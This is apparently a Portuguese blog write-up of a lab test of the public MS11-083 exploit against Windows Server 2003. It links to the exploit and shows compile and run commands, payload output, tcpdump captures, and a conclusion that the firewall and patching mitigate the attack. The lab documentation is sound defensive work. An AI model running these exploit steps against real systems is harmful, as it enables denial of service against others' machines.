Informado pela sans..
| An integer overflow in the TCP/IP stack allows random code execution from a stream of UDP packets sent to a closed port. Permission for the attacker are at kernel level. | ||||||
Depois de sair o exploit para a vulnerabilidade MS11-083 realizei a prova de conceito para verificar o que ocorre na tal situação.
A Mirosoft informou que para se explorada será necessário enviar aproximadamente 2^32 pacotes UDP para obter êxito na exploração.
No lab temos um Debian que faz o ataque e o Windows 2003 Standard com 1Gb de memória RAM 4 CPU’s que será atacado.
O exploit divulgado publicamente: http://packetstormsecurity.org/files/106873/winnuke2011.sh.txt , utilizei somente o código em C .
Compilando….
debian:~/2003# gcc -lpthread MS11-083.c -o MS11-083
debian:~/2003# ./MS11-083
[+] MS11-083 DoS/PoC exploit
[!] Usage : ./MS11-083 <server> <port>
No Windows.. tudo sobre controle..
Começamos o ataque…
debian:~/2003# ./MS11-083 192.168.10.131 1000
[+] MS11-083 DoS/PoC exploit
[-] Sending payload ‘ZSW”<kc’ULJ=VK%XE-cP0*%(‘bORT=”;D”[c=S'
[-] Thread number 0 started
[-] Sending payload ’60&a;%=^,7FKMc[D=J>90J6Y7DR]*PC<&8′.%) ‘
[-] Thread number 1 started
[-] Sending payload ‘dCJe-f+65f9@NJhH-c”!?XU% (7#TDOhjIa+`=_)’
[-] Thread number 2 started
[-] Sending payload ‘/;.S”0:#dd=kSACiD=S!OLO#V/ZLP<]L`?,/D$’
[-] Thread number 3 started
[-] Sending payload ‘”S.Q]=JOT” (8%O)-4bF+NeN I@**A<.Di/RV\5>’
[-] Thread number 4 started
[-] Sending payload ‘Ag0BMF”FF[ aB]*9*UQi<2H!8X&LieC>`U1AKQ7B’
[-] Thread number 5 started
[-] Sending payload ‘,=aTOe9-]”A&,B-;:b,f0<@BVX#VbM’WQD;K_f’
[-] Thread number 6 started
[-] Sending payload ‘AH2M R!h\+#H>e.VD-bDI;1″JJ’ JeQG6Sg2C’
[-] Thread number 7 started
[-] Sending payload ‘*X-KOSYQF!86#M53C^f1Z+jM=*+[.e56&0h)kiQ'
[-] Thread number 8 started
Em questão de segundos veremos o gráfico de performace do Windows..
Em outro console temos a saída do tcpdump
debian:~/2003# tcpdump -X -vvv -i eth0 dst host 192.168.10.131
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
23:47:47.221788 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000: 4500 0045 0000 4000 4011 a454 c0a8 0a80 E..E..@.@..T….
0×0010: c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a …..}…1..bP]*
0×0020: 3b2e 5028 246a 5d3d 5632 273b 3a49 2156 ;.P($j]=V2′;:I!V
0×0030: 2069 3a2d 3725 5f22 5723 284d 5536 2741 .i:-7%_”W#(MU6′A
0×0040: 465a 4b4c 00 FZKL.
23:47:47.221846 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000: 4500 0045 0000 4000 4011 a454 c0a8 0a80 E..E..@.@..T….
0×0010: c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a …..}…1..bP]*
0×0020: 3b2e 5028 246a 5d3d 5632 273b 3a49 2156 ;.P($j]=V2′;:I!V
0×0030: 2069 3a2d 3725 5f22 5723 284d 5536 2741 .i:-7%_”W#(MU6′A
0×0040: 465a 4b4c 00 FZKL.
23:47:47.221850 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000: 4500 0045 0000 4000 4011 a454 c0a8 0a80 E..E..@.@..T….
0×0010: c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a …..}…1..bP]*
0×0020: 3b2e 5028 246a 5d3d 5632 273b 3a49 2156 ;.P($j]=V2′;:I!V
0×0030: 2069 3a2d 3725 5f22 5723 284d 5536 2741 .i:-7%_”W#(MU6′A
0×0040: 465a 4b4c 00 FZKL.
23:47:47.221853 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000: 4500 0045 0000 4000 4011 a454 c0a8 0a80 E..E..@.@..T….
0×0010: c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a …..}…1..bP]*
0×0020: 3b2e 5028 246a 5d3d 5632 273b 3a49 2156 ;.P($j]=V2′;:I!V
0×0030: 2069 3a2d 3725 5f22 5723 284d 5536 2741 .i:-7%_”W#(MU6′A
0×0040: 465a 4b4c 00 FZKL.
23:47:47.221856 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000: 4500 0045 0000 4000 4011 a454 c0a8 0a80 E..E..@.@..T….
0×0010: c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a …..}…1..bP]*
0×0020: 3b2e 5028 246a 5d3d 5632 273b 3a49 2156 ;.P($j]=V2′;:I!V
0×0030: 2069 3a2d 3725 5f22 5723 284d 5536 2741 .i:-7%_”W#(MU6′A
0×0040: 465a 4b4c 00 FZKL.
Nesta situação temos somente 1 computador atacando, o script esta utilizando toda a CPU do Debian.
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3541 root 20 0 273m 976 484 S 97.2 0.2 0:16.40 MS11-083
No atual lab não conseguimos causar um DoS no alvo, mas de acordo com os resultados vimos que isso seria possível seeeeeeeeee… o firewall estivesse desabilitado….
Agora vamos habilitar o firewall do windows, e voltaremos ao ataque e os gráficos…
Ou seja, o ataque pode ser mitigado sem muitos problemas. Para completar os 2^32 pacotes enviados levaria aproximadamente 52 dias, paramos por aqui sem a verdadeira prova que seria possível executar um código remotamente.
Mais informações sobre o Bug: http://technet.microsoft.com/en-us/security/bulletin/ms11-083
Resumindo, sempre firewall ativado e sistema atualizado!
Outro exploit e mais infos pode ser encontrado também em: http://blog.rootentropy.co.za/post/12567851289/ms11-083-traffic-capture
[]‘s
Sergito



